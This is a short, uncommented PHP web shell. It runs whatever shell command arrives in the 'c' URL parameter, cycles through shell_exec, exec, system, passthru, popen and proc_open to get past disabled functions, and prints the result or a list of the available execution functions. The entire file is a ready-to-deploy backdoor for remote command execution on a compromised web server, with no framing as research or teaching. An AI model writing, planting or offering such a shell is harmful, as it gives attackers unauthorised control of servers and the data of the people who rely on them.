<?php
$c=isset($_GET['c'])?$_GET['c'].' 2>&1':'id';
$o='';
$disabled=explode(',',ini_get('disable_functions'));
$funcs=['shell_exec','exec','system','passthru','popen','proc_open','pcntl_exec'];
foreach($funcs as $f){
    if(function_exists($f)&&!in_array($f,$disabled)){
        switch($f){
            case 'shell_exec':$o=@shell_exec($c);break;
            case 'exec':@exec($c,$a);$o=implode("\n",$a);break;
            case 'system':ob_start();@system($c);$o=ob_get_clean();break;
            case 'passthru':ob_start();@passthru($c);$o=ob_get_clean();break;
            case 'popen':$h=@popen($c,'r');if($h){while(!feof($h))$o.=fread($h,4096);pclose($h);}break;
            case 'proc_open':$d=[['pipe','r'],['pipe','w'],['pipe','w']];$p=@proc_open($c,$d,$pi);if($p){$o=stream_get_contents($pi[1]);proc_close($p);}break;
        }
        if($o)break;
    }
}
if(!$o){
    $avail=[];
    foreach($funcs as $f)if(function_exists($f)&&!in_array($f,$disabled))$avail[]=$f;
    $o='NO_EXEC:available='.implode(',',$avail).';disabled='.ini_get('disable_functions');
}
echo $o;
?>